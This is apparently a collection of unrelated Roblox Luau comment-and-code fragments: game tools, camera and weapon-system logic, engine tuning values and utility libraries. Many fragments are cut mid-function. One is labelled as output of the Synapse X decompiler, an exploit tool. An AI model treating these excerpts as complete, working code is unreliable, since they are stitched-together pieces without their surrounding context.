script.Parent.HumanoidRootPart.Theme:Play()
vars.Attacking.Value = false
while wait() do
if damagetime ~= nil and time() >= (damagetime + DamageWait) then
damagedb = false
damagetime = nil
end
end
end
end)
end
end
|
-- headless
|
local function onPlayerChatted(player, message)
if message == '/headless' and player.Character and player.Character:FindFirstChild("Head") then
player.Character.Head.Transparency = 1
player.Character.Head.face.Transparency = 1
end
end
local function onPlayerAdded(player)
player.Chatted:Connect(function (message) onPlayerChatted(player, message) end)
end
game.Players.PlayerAdded:Connect(onPlayerAdded)
|
--// Damage Settings
|
Damage = 32;
HeadDamage = 1000; -- If you set this to 100, there's a chance the player won't die because of the heal script
|
--
|
tool.Equipped:connect(function()
equipped = true
owner = game:GetService("Players"):GetPlayerFromCharacter(tool.Parent)
character = owner.Character
local rightarm = Instance.new("Weld", character.Torso)
rightarm.Part0 = character.Torso
rightarm.Part1 = character["Right Arm"]
rightarm.C0 = CFrame.new(1.5,0,0)
rightarm.Name = "RightArmWeldpunch"
local leftarm = Instance.new("Weld", character.Torso)
leftarm.Part0 = character.Torso
leftarm.Part1 = character["Left Arm"]
leftarm.C0 = CFrame.new(-1.5,0,0)
leftarm.Name = "LeftArmWeldpunch"
local head = Instance.new("Weld", character.Torso)
head.Part0 = character.Torso
head.Part1 = character.Head
head.C0 = CFrame.new(0,1.5,0)
head.Name = "HeadWeldpunch"
local humanoidrootpart = Instance.new("Weld", character.HumanoidRootPart)
humanoidrootpart.Part0 = character.HumanoidRootPart
humanoidrootpart.Part1 = character.Torso
humanoidrootpart.Name = "HumanoidRootPartWeldpunch"
for i,v in pairs(script:GetChildren()) do
if v.ClassName == "Sound" then
v.Parent = character.HumanoidRootPart
end
end
cananimate = true
local savedchar = character
local lasthp = character:findFirstChildOfClass("Humanoid").Health
coroutine.wrap(function()
local humhp = character:findFirstChildOfClass("Humanoid").Health
while runservice.Stepped:wait() and equipped do
if character:findFirstChildOfClass("Humanoid").Health < humhp then
local thedamage = humhp - character:findFirstChildOfClass("Humanoid").Health
character:findFirstChildOfClass("Humanoid").Health = character:findFirstChildOfClass("Humanoid").Health - thedamage / 10
end
if cananimate then
head.C0 = head.C0:lerp(CFrame.new(0,1.5,0),0.1)
humanoidrootpart.C0 = humanoidrootpart.C0:lerp(CFrame.new(),0.2)
leftarm.C0 = leftarm.C0:lerp(CFrame.new(-0.8,0.15,-0.5) * CFrame.fromEulerAnglesXYZ(math.pi-(math.rad(20)),0,math.rad(15)) * CFrame.new(0,-0.1,0),0.2)
rightarm.C0 = rightarm.C0:lerp(CFrame.new(0.8,0.15,-0.5) * CFrame.fromEulerAnglesXYZ(math.pi-(math.rad(20)),0,math.rad(-15)) * CFrame.new(0,-0.1,0),0.2)
end
humhp = character:findFirstChildOfClass("Humanoid").Health
end
end)()
end)
tool.Unequipped:connect(function()
equipped = false
instancewhitelist = {}
mouseclick = false
cananimate = false
for i,v in pairs(character.HumanoidRootPart:GetChildren()) do
if v.ClassName == "Sound" then
v.Parent = script
end
end
if character.Torso:findFirstChild("LeftArmWeldpunch") then
character.Torso:findFirstChild("LeftArmWeldpunch"):destroy()
end
if character.Torso:findFirstChild("RightArmWeldpunch") then
character.Torso:findFirstChild("RightArmWeldpunch"):destroy()
end
if character.Torso:findFirstChild("HeadWeldpunch") then
character.Torso:findFirstChild("HeadWeldpunch"):destroy()
end
if character:findFirstChild("HumanoidRootPart") then
if character.HumanoidRootPart:findFirstChild("HumanoidRootPartWeldpunch") then
character.HumanoidRootPart:findFirstChild("HumanoidRootPartWeldpunch"):destroy()
end
end
end)
|
--[[Engine]]
|
-- [TORQUE CURVE VISUAL]
-- https://www.desmos.com/calculator/nap6stpjqf
-- Use sliders to manipulate values
-- Edit everything as if your car is NATURALLY aspirated, or as if it lacks a turbo.
Tune.Horsepower = 250
Tune.IdleRPM = 700
Tune.PeakRPM = 6000
Tune.Redline = 7000
Tune.EqPoint = 5252
Tune.PeakSharpness = 20
Tune.CurveMult = 0.2
Tune.InclineComp = 1.2 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Turbo Settings
Tune.Aspiration = "Super" --[[
[Aspiration]
"Natural" : N/A, Naturally aspirated engine
"Single" : Single turbocharger
"Double" : Twin turbocharger
"Super" : Supercharger ]]
Tune.Boost = 5 --Max PSI (If you have two turbos and this is 15, the PSI will be 30)
Tune.TurboSize = 80 --Turbo size; the bigger it is, the more lag it has.
Tune.CompressRatio = 9 --The compression ratio (look it up)
Tune.Sensitivity = 0.05 --How quickly the Supercharger (if appllied) will bring boost when throttle is applied. (Increment applied per tick, suggested values from 0.05 to 0.1)
--Misc
Tune.RevAccel = 300 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 250 -- Clutch engagement threshold (higher = faster response, lower = more stable RPM)
|
--[=[
Requires all the modules that are children of the given parent. This is an easy
way to quickly load all controllers that might be in a folder.
```lua
Knit.AddControllers(somewhere.Controllers)
```
]=]
|
function KnitClient.AddControllers(parent: Instance): {Controller}
local addedControllers = {}
for _,v in ipairs(parent:GetChildren()) do
if not v:IsA("ModuleScript") then continue end
table.insert(addedControllers, require(v))
end
return addedControllers
end
|
--[[========== Manual Archive Assets ==========]]
|
--
_SC.MAA =
{
-- [_M:CreateUUID({#, #, #, ...})] = Object (Scripts, Models, Parts, Ect.)
}
|
--Green for Friendly, and Red for foe's. Kind of like the type Pinkyblt and Griff27 uses in thier games.
|
bin = script.Parent
normel = "http://www.roblox.com/asset/?id=7419350"
friendly = "http://www.roblox.com/asset/?id=7419364"
enemy = "http://www.roblox.com/asset/?id=7419379"
function Run(mouse)
mouse.Icon = normel
local hit = mouse.Target
if (hit == nil) then return end
h = hit.Parent:FindFirstChild("Humanoid")
if h ~= nil then
torso = hit.Parent.Torso
if torso ~= nil then
if h.Health > 0 then
if (torso.BrickColor == bin.Parent.Torso.BrickColor) then
mouse.Icon = friendly
elseif torso.BrickColor ~= bin.Parent.Torso.BrickColor then
mouse.Icon = enemy
end
end
end
end
end
function on(mouse)
while true do
wait()
Run(mouse)
end
end
script.Parent.Equipped:connect(on)
|
-- Services
|
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RunService = game:GetService("RunService")
local PlayersService = game:GetService("Players")
|
--[[**
ensures Roblox Region3int16 type
@param value The value to check against
@returns True iff the condition is satisfied, false otherwise
**--]]
|
t.Region3int16 = primitive("Region3int16")
|
-- deviation: pre-declare functions
|
local formatValue
local formatObjectValue
local formatArray
local formatObject
local getObjectTag
|
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
|
return function(player, dialogueFolder)
local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
return plrData.Money.Gold.Value < 25
end
|
-- Triggers
|
button_equip.MouseButton1Click:Connect(function()
equipItem()
end)
|
--- Takes a dictionary and returns its keys.
|
function Util.DictionaryKeys(dict)
local keys = {}
for key in pairs(dict) do
table.insert(keys, key)
end
return keys
end
|
--[[
Used to set a handler for when the promise resolves, rejects, or is
cancelled. Returns a new promise chained from this promise.
]]
|
function Promise.prototype:_finally(traceback, finallyHandler, onlyOk)
if not onlyOk then
self._unhandledRejection = false
end
-- Return a promise chained off of this promise
return Promise._new(traceback, function(resolve, reject)
local finallyCallback = resolve
if finallyHandler then
finallyCallback = createAdvancer(
traceback,
finallyHandler,
resolve,
reject
)
end
if onlyOk then
local callback = finallyCallback
finallyCallback = function(...)
if self._status == Promise.Status.Rejected then
return resolve(self)
end
return callback(...)
end
end
if self._status == Promise.Status.Started then
-- The promise is not settled, so queue this.
table.insert(self._queuedFinally, finallyCallback)
else
-- The promise already settled or was cancelled, run the callback now.
finallyCallback(self._status)
end
end, self)
end
|
--------| Reference |--------
|
local playerGui = game.Players.LocalPlayer:WaitForChild("PlayerGui")
|
-- Listener for changes to workspace.CurrentCamera
|
function BaseCamera:OnCurrentCameraChanged()
if UserInputService.TouchEnabled then
if self.viewportSizeChangedConn then
self.viewportSizeChangedConn:Disconnect()
self.viewportSizeChangedConn = nil
end
local newCamera = game.Workspace.CurrentCamera
if newCamera then
self:OnViewportSizeChanged()
self.viewportSizeChangedConn = newCamera:GetPropertyChangedSignal("ViewportSize"):Connect(function()
self:OnViewportSizeChanged()
end)
end
end
-- VR support additions
if self.cameraSubjectChangedConn then
self.cameraSubjectChangedConn:Disconnect()
self.cameraSubjectChangedConn = nil
end
local camera = game.Workspace.CurrentCamera
if camera then
self.cameraSubjectChangedConn = camera:GetPropertyChangedSignal("CameraSubject"):Connect(function()
self:OnNewCameraSubject()
end)
self:OnNewCameraSubject()
end
end
function BaseCamera:OnDynamicThumbstickEnabled()
if UserInputService.TouchEnabled then
self.isDynamicThumbstickEnabled = true
end
end
function BaseCamera:OnDynamicThumbstickDisabled()
self.isDynamicThumbstickEnabled = false
end
function BaseCamera:OnGameSettingsTouchMovementModeChanged()
if player.DevTouchMovementMode == Enum.DevTouchMovementMode.UserChoice then
if (UserGameSettings.TouchMovementMode == Enum.TouchMovementMode.DynamicThumbstick
or UserGameSettings.TouchMovementMode == Enum.TouchMovementMode.Default) then
self:OnDynamicThumbstickEnabled()
else
self:OnDynamicThumbstickDisabled()
end
end
end
function BaseCamera:OnDevTouchMovementModeChanged()
if player.DevTouchMovementMode == Enum.DevTouchMovementMode.DynamicThumbstick then
self:OnDynamicThumbstickEnabled()
else
self:OnGameSettingsTouchMovementModeChanged()
end
end
function BaseCamera:OnPlayerCameraPropertyChange()
-- This call forces re-evaluation of player.CameraMode and clamping to min/max distance which may have changed
self:SetCameraToSubjectDistance(self.currentSubjectDistance)
end
function BaseCamera:InputTranslationToCameraAngleChange(translationVector, sensitivity)
return translationVector * sensitivity
end
function BaseCamera:GamepadZoomPress()
local dist = self:GetCameraToSubjectDistance()
if dist > (GAMEPAD_ZOOM_STEP_2 + GAMEPAD_ZOOM_STEP_3)/2 then
self:SetCameraToSubjectDistance(GAMEPAD_ZOOM_STEP_2)
elseif dist > (GAMEPAD_ZOOM_STEP_1 + GAMEPAD_ZOOM_STEP_2)/2 then
self:SetCameraToSubjectDistance(GAMEPAD_ZOOM_STEP_1)
else
self:SetCameraToSubjectDistance(GAMEPAD_ZOOM_STEP_3)
end
end
function BaseCamera:Enable(enable: boolean)
if self.enabled ~= enable then
self.enabled = enable
if self.enabled then
CameraInput.setInputEnabled(true)
self.gamepadZoomPressConnection = CameraInput.gamepadZoomPress:Connect(function()
self:GamepadZoomPress()
end)
if player.CameraMode == Enum.CameraMode.LockFirstPerson then
self.currentSubjectDistance = 0.5
if not self.inFirstPerson then
self:EnterFirstPerson()
end
end
else
CameraInput.setInputEnabled(false)
if self.gamepadZoomPressConnection then
self.gamepadZoomPressConnection:Disconnect()
self.gamepadZoomPressConnection = nil
end
-- Clean up additional event listeners and reset a bunch of properties
self:Cleanup()
end
self:OnEnable(enable)
end
end
function BaseCamera:OnEnable(enable: boolean)
-- for derived camera
end
function BaseCamera:GetEnabled(): boolean
return self.enabled
end
function BaseCamera:Cleanup()
if self.subjectStateChangedConn then
self.subjectStateChangedConn:Disconnect()
self.subjectStateChangedConn = nil
end
if self.viewportSizeChangedConn then
self.viewportSizeChangedConn:Disconnect()
self.viewportSizeChangedConn = nil
end
self.lastCameraTransform = nil
self.lastSubjectCFrame = nil
-- Unlock mouse for example if right mouse button was being held down
CameraUtils.restoreMouseBehavior()
end
function BaseCamera:UpdateMouseBehavior()
local blockToggleDueToClickToMove = UserGameSettings.ComputerMovementMode == Enum.ComputerMovementMode.ClickToMove
if self.isCameraToggle and blockToggleDueToClickToMove == false then
CameraUI.setCameraModeToastEnabled(true)
CameraInput.enableCameraToggleInput()
CameraToggleStateController(self.inFirstPerson)
else
CameraUI.setCameraModeToastEnabled(false)
CameraInput.disableCameraToggleInput()
-- first time transition to first person mode or mouse-locked third person
if self.inFirstPerson or self.inMouseLockedMode then
CameraUtils.setRotationTypeOverride(Enum.RotationType.CameraRelative)
CameraUtils.setMouseBehaviorOverride(Enum.MouseBehavior.LockCenter)
else
CameraUtils.restoreRotationType()
CameraUtils.restoreMouseBehavior()
end
end
end
function BaseCamera:UpdateForDistancePropertyChange()
-- Calling this setter with the current value will force checking that it is still
-- in range after a change to the min/max distance limits
self:SetCameraToSubjectDistance(self.currentSubjectDistance)
end
function BaseCamera:SetCameraToSubjectDistance(desiredSubjectDistance: number): number
local lastSubjectDistance = self.currentSubjectDistance
-- By default, camera modules will respect LockFirstPerson and override the currentSubjectDistance with 0
-- regardless of what Player.CameraMinZoomDistance is set to, so that first person can be made
-- available by the developer without needing to allow players to mousewheel dolly into first person.
-- Some modules will override this function to remove or change first-person capability.
if player.CameraMode == Enum.CameraMode.LockFirstPerson then
self.currentSubjectDistance = 0.5
if not self.inFirstPerson then
self:EnterFirstPerson()
end
else
local newSubjectDistance = math.clamp(desiredSubjectDistance, player.CameraMinZoomDistance, player.CameraMaxZoomDistance)
if newSubjectDistance < FIRST_PERSON_DISTANCE_THRESHOLD then
self.currentSubjectDistance = 0.5
if not self.inFirstPerson then
self:EnterFirstPerson()
end
else
self.currentSubjectDistance = newSubjectDistance
if self.inFirstPerson then
self:LeaveFirstPerson()
end
end
end
-- Pass target distance and zoom direction to the zoom controller
ZoomController.SetZoomParameters(self.currentSubjectDistance, math.sign(desiredSubjectDistance - lastSubjectDistance))
-- Returned only for convenience to the caller to know the outcome
return self.currentSubjectDistance
end
function BaseCamera:SetCameraType( cameraType )
--Used by derived classes
self.cameraType = cameraType
end
function BaseCamera:GetCameraType()
return self.cameraType
end
|
--//Controller//--
|
Humanoid.Died:Connect(function()
local IsAlive = Character:FindFirstChild("IsAlive")
if IsAlive then
IsAlive:Destroy()
end
end)
|
--[=[
Extracts the locale from the name
@param tableName string -- Used for source
@param localeId string -- the defaultlocaleId
@param dataTable table -- Data table to load from
@return LocalizationTable
]=]
|
function JsonToLocalizationTable.loadTable(tableName, localeId, dataTable)
assert(type(tableName) == "string", "Bad tableName")
local localizationTable = JsonToLocalizationTable.getOrCreateLocalizationTable()
recurseAdd(localizationTable, localeId, "", dataTable, tableName)
return localizationTable
end
|
------------------------
|
local maincf = CFrame.new(0, 0, 0)
equip = true
arms = VMS:WaitForChild("v_FlashlightV2"):Clone()
arms.HumanoidRootPart.SpotLight.Brightness = brightness
arms.HumanoidRootPart.SpotLight.Range = range
arms.HumanoidRootPart.SpotLight.Shadows = shadowson
arms.Parent = cam
arms.Name = "Arms"
run.RenderStepped:Connect(function()
if equip == true and arms then
arms:SetPrimaryPartCFrame(
cam.CFrame
* maincf
)
end
end)
UIS.InputEnded:Connect(function(input)
if input.KeyCode == Enum.KeyCode[FlashlightKey] and equip == true then
if ison == true then
ison = false
arms.HumanoidRootPart.SpotLight.Enabled = false
FlashlightGui.FlashlightOn.Visible = false
FlashlightGui.FlashlightOff.Visible = true
arms.HumanoidRootPart.Flashlightss:Play()
else
ison = true
arms.HumanoidRootPart.SpotLight.Enabled = true
FlashlightGui.FlashlightOff.Visible = false
FlashlightGui.FlashlightOn.Visible = true
arms.HumanoidRootPart.Flashlightss:Play()
end
end
end)
local de = true
function onButtonPress()
if de == true and equip == true then
de = false
if ison == true then
ison = false
arms.HumanoidRootPart.SpotLight.Enabled = false
FlashlightGui.FlashlightOn.Visible = false
FlashlightGui.FlashlightOff.Visible = true
arms.HumanoidRootPart.Flashlightss:Play()
else
ison = true
arms.HumanoidRootPart.SpotLight.Enabled = true
FlashlightGui.FlashlightOff.Visible = false
FlashlightGui.FlashlightOn.Visible = true
arms.HumanoidRootPart.Flashlightss:Play()
end
wait(.75)
de = true
end
end
Con:SetImage("FlashLight", "rbxassetid://2883826635")
Con:BindAction("FlashLight",onButtonPress,true,"F")
game.Players.LocalPlayer.Character:WaitForChild("Humanoid").Died:Connect(function()
equip = false
ison = false
arms:Destroy()
end)
|
--Make the part move left and right
|
local function movePart()
local speed = 3
local direction = 1
while true do
wait(0.1)
if parentPart.Position.X > 5 then
direction = -1
elseif parentPart.Position.X < -5 then
direction = 1
end
parentPart.Position += Vector3.new(speed * direction, 0, 0)
end
end
|
----------------------------------------------------------------------------------------------
--------------------------------[PROGRAMA]----------------------------------------------------
----------------------------------------------------------------------------------------------
|
HeadBase = Instance.new('Part')
HeadBase.Name = 'BasePart'
HeadBase.Parent = Camera
HeadBase.Anchored = true
HeadBase.CanCollide = false
HeadBase.Transparency = 1
HeadBase.Size = Vector3.new(0.1, 0.1, 0.1)
HeadBaseAtt = Instance.new('Attachment')
HeadBaseAtt.Parent = HeadBase
local StatusUI = PastaHUD:WaitForChild("StatusUI")
local StatusClone = StatusUI:Clone()
StatusClone.Parent = Jogador.PlayerGui
if ServerConfig.EnableHunger then
StatusClone.FomeSede.Disabled = false
end
if ServerConfig.EnableGPS then
local StatusUI = PastaHUD:WaitForChild("GPShud")
local StatusClone = StatusUI:Clone()
StatusClone.Parent = Jogador.PlayerGui
StatusClone.GPS.Disabled = false
end
function ResetWorkspace()
Ignore_Model:ClearAllChildren()
BulletModel:ClearAllChildren()
workspace.Terrain:ClearAllChildren()
end
ResetWorkspace()
Evt.Hit.OnClientEvent:Connect(function(Player,Position, HitPart, Normal, Material,Settings)
if Player ~= Jogador then
Hitmarker.HitEffect(Ray_Ignore,ACS_Storage,Position, HitPart, Normal, Material,Settings)
end
end)
Evt.HeadRot.OnClientEvent:Connect(function(Player, Rotacao, Offset, Equipado)
if Player ~= Jogador and Player.Character and Player.Character:FindFirstChild("HumanoidRootPart") ~= nil then
local HRPCF = Player.Character["HumanoidRootPart"].CFrame * CFrame.new(0, 1.5, 0) * CFrame.new(Offset)
Player.Character.Torso:WaitForChild("Neck").C0 = Player.Character.Torso.CFrame:toObjectSpace(HRPCF)
Player.Character.Torso:WaitForChild("Neck").C1 = CFrame.Angles(Rotacao, 0, 0)
end
end)
Evt.Atirar.OnClientEvent:Connect(function(Player,FireRate,Anims,Arma)
if Player ~= Jogador then
if Player.Character:FindFirstChild('S' .. Arma.Name) ~= nil and Player.Character['S' .. Arma.Name].Grip:FindFirstChild("Muzzle") ~= nil then
local Muzzle = Player.Character['S' .. Arma.Name].Grip:FindFirstChild("Muzzle")
if Player.Character['S' .. Arma.Name]:FindFirstChild("Silenciador") ~= nil and Player.Character['S' .. Arma.Name].Silenciador.Transparency == 0 then
Muzzle:FindFirstChild("FlashFX").Brightness = 0
Muzzle:FindFirstChild("FlashFX[Flash]").Rate = 0
else
Muzzle:FindFirstChild("FlashFX").Brightness = 5
Muzzle:FindFirstChild("FlashFX[Flash]").Rate = 1000
end
for _, v in pairs(Muzzle:GetChildren()) do
if v.Name:sub(1, 7) == "FlashFX" or v.Name:sub(1, 7) == "Smoke" then
v.Enabled = true
end
end
delay(1 / 30, function()
for _, v in pairs(Muzzle:GetChildren()) do
if v.Name:sub(1, 7) == "FlashFX" or v.Name:sub(1, 7) == "Smoke" then
v.Enabled = false
end
end
end)
end
if Player.Character:FindFirstChild("AnimBase") ~= nil and Player.Character.AnimBase:FindFirstChild("AnimBaseW") then
local AnimBase = Player.Character:WaitForChild("AnimBase"):WaitForChild("AnimBaseW")
TS:Create(AnimBase, TweenInfo.new(FireRate), {C1 = Anims.ShootPos} ):Play()
wait(FireRate*2)
TS:Create(AnimBase, TweenInfo.new(.2), {C1 = CFrame.new()} ):Play()
end
end
end)
function Setup(Tools)
local Torso = Character:FindFirstChild('Torso')
local Head = Character:FindFirstChild('Head')
local HumanoidRootPart = Character:FindFirstChild('HumanoidRootPart')
ArmaClient = Tools
ArmaClone = GunModelClient:WaitForChild(ArmaClient.Name):Clone()
Var = Tools.ACS_Modulo.Variaveis
Settings = require(Var:WaitForChild("Settings"))
Anims = require(Var:WaitForChild("Animations"))
VRecoil = math.random(Settings.VRecoil[1],Settings.VRecoil[2])/1000
HRecoil = math.random(Settings.HRecoil[1],Settings.HRecoil[2])/1000
VPunchBase = (Settings.VPunchBase)
HPunchBase = (Settings.HPunchBase)
DPunchBase = (Settings.DPunchBase)
RecoilPower = Settings.MinRecoilPower
BSpread = Settings.MinSpread
Silencer = Var.Suppressor
Ammo, StoredAmmo, GLAmmo = Var.Ammo, Var.StoredAmmo, Var.LauncherAmmo
Chambered,Emperrado,GLChambered = Var.Chambered, Var.Emperrado, Var.GLChambered
FireRate = 1/(Settings.FireRate/60)
BurstFireRate = 1/(Settings.BurstFireRate/60)
ModoTreino = Settings.ModoTreino
Sens = Var.Sens
Zeroing = Var.Zeroing
Evt.Equipar:FireServer(ArmaClient,Settings)
Folder = Instance.new("Model", Camera)
Folder.Name = Tools.Name
AnimBase = Instance.new("Part", Folder)
AnimBase.FormFactor = "Custom"
AnimBase.CanCollide = false
AnimBase.Transparency = 1
AnimBase.Anchored = true
AnimBase.Name = "AnimBase"
AnimBase.Size = Vector3.new(0.1, 0.1, 0.1)
AnimBaseW = Instance.new("Motor6D")
AnimBaseW.Part0 = AnimBase
AnimBaseW.Part1 = HeadBase
AnimBaseW.Parent = AnimBase
AnimBaseW.Name = "AnimBaseW"
AnimBase.Anchored = false
Clone = Instance.new('Motor6D')
Clone.Name = 'Clone'
Clone.Parent = AnimBase
Clone.Part0 = AnimBase
Clone.Part1 = HeadBase
ArmaClone.Parent = Folder
for L_209_forvar1, L_210_forvar2 in pairs(ArmaClone:GetChildren()) do
if L_210_forvar2:IsA('BasePart') and L_210_forvar2.Name ~= 'Handle' then
if L_210_forvar2.Name ~= "Bolt" and L_210_forvar2.Name ~= 'Lid' then
Ultil.Weld(L_210_forvar2, ArmaClone:WaitForChild("Handle"))
end
if L_210_forvar2.Name == "Bolt" or L_210_forvar2.Name == "Slide" then
Ultil.WeldComplex(ArmaClone:WaitForChild("Handle"), L_210_forvar2, L_210_forvar2.Name)
end;
if L_210_forvar2.Name == "Lid" then
if ArmaClone:FindFirstChild('LidHinge') then
Ultil.Weld(L_210_forvar2, ArmaClone:WaitForChild("LidHinge"))
else
Ultil.Weld(L_210_forvar2, ArmaClone:WaitForChild("Handle"))
end
end
end
end;
for L_213_forvar1, L_214_forvar2 in pairs(ArmaClone:GetChildren()) do
if L_214_forvar2:IsA('BasePart') and L_214_forvar2.Name ~= 'Grip' then
L_214_forvar2.Anchored = false
L_214_forvar2.CanCollide = false
end
end;
--LoadClientMods()
RA, LA, Right_Weld, Left_Weld, AnimBase, AnimBaseW = SetupMod(Folder, Ultil, Character, RA, LA, Right_Weld, Left_Weld, AnimBase, AnimBaseW, Settings, ArmaClone)
Equipped = true
if ArmaClone:FindFirstChild('Silenciador')~= nil then
if Silencer.Value == true then
ArmaClone.Silenciador.Transparency = 0
ArmaClone.SmokePart.FlashFX.Brightness = 0
ArmaClone.SmokePart:FindFirstChild("FlashFX[Flash]").Rate = 0
Evt.SilencerEquip:FireServer(ArmaClient,Silencer.Value)
else
ArmaClone.Silenciador.Transparency = 1
ArmaClone.SmokePart.FlashFX.Brightness = 5
ArmaClone.SmokePart:FindFirstChild("FlashFX[Flash]").Rate = 1000
Evt.SilencerEquip:FireServer(ArmaClient,Silencer.Value)
end
end
end
function Unset()
if ArmaClient then
Evt.Desequipar:FireServer(ArmaClient,Settings)
end
UnloadClientMods()
if Folder then
Folder:Destroy()
end
Equipped = false
Aiming = false
Safe = false
Bipod = false
LanternaAtiva = false
IRmode = false
LaserAtivo = false
--Silencer = false
CancelReload = false
Reloading = false
slideback = false
OverHeat = false
uis.MouseIconEnabled = true
game:GetService('UserInputService').MouseDeltaSensitivity = 1
Camera.CameraType = Enum.CameraType.Custom
Player.CameraMode = Enum.CameraMode.Classic
AimPartMode = 1
stance = 0
tweenFoV(70,15)
TS:Create(StatusClone.Efeitos.Aim,TweenInfo.new(.3),{ImageTransparency = 1}):Play()
Evt.SVLaser:FireServer(Vector3.new(0,0,0),2,nil,ArmaClient,IRmode)
if Gui then
Gui.Visible = false
end
for _,c in pairs(Connections) do
c:disconnect()
end
Connections = {}
Walking = false
a = false
d = false
end
function Update_Gui()
if CanUpdateGui then
if ArmaClone:FindFirstChild("BipodPoint") ~= nil then
Gui.Bipod.Visible = true
else
Gui.Bipod.Visible = false
end
if Settings.ArcadeMode == true then
Gui.Ammo.Visible = true
Gui.Ammo.AText.Text = Ammo.Value.."|"..Settings.Ammo
else
Gui.Ammo.Visible = false
end
if Settings.FireModes.Explosive == true and GLChambered.Value == true then
Gui.E.ImageColor3 = Color3.fromRGB(255,255,255)
Gui.E.Visible = true
elseif Settings.FireModes.Explosive == true and GLChambered.Value == false then
Gui.E.ImageColor3 = Color3.fromRGB(255,0,0)
Gui.E.Visible = true
elseif Settings.FireModes.Explosive == false then
Gui.E.Visible = false
end
if Safe == true then
Gui.A.Visible = true
else
Gui.A.Visible = false
end
if Chambered.Value == true and Ammo.Value > 0 and Emperrado.Value == false then
Gui.B.Visible = true
Gui.B.BackgroundColor3 = Color3.fromRGB(255,255,255)
elseif Chambered.Value == true and Ammo.Value > 0 and Emperrado.Value == true then
Gui.B.Visible = true
Gui.B.BackgroundColor3 = Color3.fromRGB(255,0,0)
else
Gui.B.Visible = false
end
Gui.FText.Text = Settings.Mode
if Settings.Mode ~= "Explosive" then
Gui.BText.Text = Settings.BulletType
else
Gui.BText.Text = "HEDP"
end
Gui.Sens.Text = (Sens.Value/100)
Gui.ZeText.Text = Zeroing.Value .." m"
Gui.NText.Text = Settings.Name
if Settings.Mode ~= "Explosive" then
if Settings.MagCount then
Gui.SAText.Text = math.ceil(StoredAmmo.Value/Settings.Ammo)
else
Gui.SAText.Text = StoredAmmo.Value
end
else
Gui.SAText.Text = GLAmmo.Value
end
if Silencer.Value == true then
Gui.Silencer.Visible = true
else
Gui.Silencer.Visible = false
end
if LaserAtivo == true then
Gui.Laser.Visible = true
if IRmode then
Gui.Laser.ImageColor3 = Color3.new(0,255,0)
else
Gui.Laser.ImageColor3 = Color3.new(255,255,255)
end
else
Gui.Laser.Visible = false
end
if LanternaAtiva == true then
Gui.Flash.Visible = true
else
Gui.Flash.Visible = false
end
end
end
function CheckMagFunction()
if CanUpdateGui then
Gui.CMText.TextTransparency = 0
Gui.CMText.TextStrokeTransparency = 0.9
if Ammo.Value >= Settings.Ammo then
Gui.CMText.Text = "Full"
elseif Ammo.Value > math.floor((Settings.Ammo)*.75) and Ammo.Value < Settings.Ammo then
Gui.CMText.Text = "Nearly full"
elseif Ammo.Value < math.floor((Settings.Ammo)*.75) and Ammo.Value > math.floor((Settings.Ammo)*.5) then
Gui.CMText.Text = "Almost half"
elseif Ammo.Value == math.floor((Settings.Ammo)*.5) then
Gui.CMText.Text = "Half"
elseif Ammo.Value > math.ceil((Settings.Ammo)*.25) and Ammo.Value < math.floor((Settings.Ammo)*.5) then
Gui.CMText.Text = "Less than half"
elseif Ammo.Value < math.ceil((Settings.Ammo)*.25) and Ammo.Value > 0 then
Gui.CMText.Text = "Almost empty"
elseif Ammo.Value == 0 then
Gui.CMText.Text = "Empty"
end
TS:Create(Gui.CMText,TweenInfo.new(10),{TextTransparency = 1,TextStrokeTransparency = 1}):Play()
end
end
Evt.Stance.OnClientEvent:Connect(function(Player,stance,Settings,Anims)
if Player.Character.Humanoid.Health > 0 and Player.Character.AnimBase:FindFirstChild("RAW") ~= nil and Player.Character.AnimBase:FindFirstChild("LAW") ~= nil then
local Right_Weld = Player.Character.AnimBase:WaitForChild("RAW")
local Left_Weld = Player.Character.AnimBase:WaitForChild("LAW")
if stance == 0 then
TS:Create(Right_Weld, TweenInfo.new(.3), {C0 = Settings.RightArmPos} ):Play()
TS:Create(Left_Weld, TweenInfo.new(.3), {C0 = Settings.LeftArmPos} ):Play()
elseif stance == 2 then
TS:Create(Right_Weld, TweenInfo.new(.3), {C0 = Anims.RightAim} ):Play()
TS:Create(Left_Weld, TweenInfo.new(.3), {C0 = Anims.LeftAim} ):Play()
elseif stance == 1 then
TS:Create(Right_Weld, TweenInfo.new(.3), {C0 = Anims.RightHighReady} ):Play()
TS:Create(Left_Weld, TweenInfo.new(.3), {C0 = Anims.LeftHighReady} ):Play()
elseif stance == -1 then
TS:Create(Right_Weld, TweenInfo.new(.3), {C0 = Anims.RightLowReady} ):Play()
TS:Create(Left_Weld, TweenInfo.new(.3), {C0 = Anims.LeftLowReady} ):Play()
elseif stance == -2 then
TS:Create(Right_Weld, TweenInfo.new(.3), {C0 = Anims.RightPatrol} ):Play()
TS:Create(Left_Weld, TweenInfo.new(.3), {C0 = Anims.LeftPatrol} ):Play()
elseif stance == 3 then
TS:Create(Right_Weld, TweenInfo.new(.3), {C0 = Anims.RightSprint} ):Play()
TS:Create(Left_Weld, TweenInfo.new(.3), {C0 = Anims.LeftSprint} ):Play()
end
end
end)
function Sprint()
if Equipped then
if Correndo and SpeedPrecision > 0 then
MouseHeld = false
if Aiming then
game:GetService('UserInputService').MouseDeltaSensitivity = 1
ArmaClone.Handle.AimUp:Play()
tweenFoV(70,120)
Aiming = false
TS:Create(StatusClone.Efeitos.Aim,TweenInfo.new(.3),{ImageTransparency = 1}):Play()
end
if not Safe and not AnimDebounce then
stance = 3
Evt.Stance:FireServer(stance,Settings,Anims)
SprintAnim()
end
elseif not Correndo or SpeedPrecision == 0 then
if not Safe and not AnimDebounce then
if Aiming then
stance = 2
Evt.Stance:FireServer(stance,Settings,Anims)
IdleAnim()
else
stance = 0
Evt.Stance:FireServer(stance,Settings,Anims)
IdleAnim()
end
end
end
end
end
Sprinting.Changed:connect(function(Valor)
Correndo = Valor
Sprint()
end)
|
-- Decompiled with the Synapse X Luau decompiler.
|
return {
print = function(...)
local v1 = { ... };
if #v1 == 0 then
v1 = { "nil" };
end;
|
--[[for x = 1, 50 do
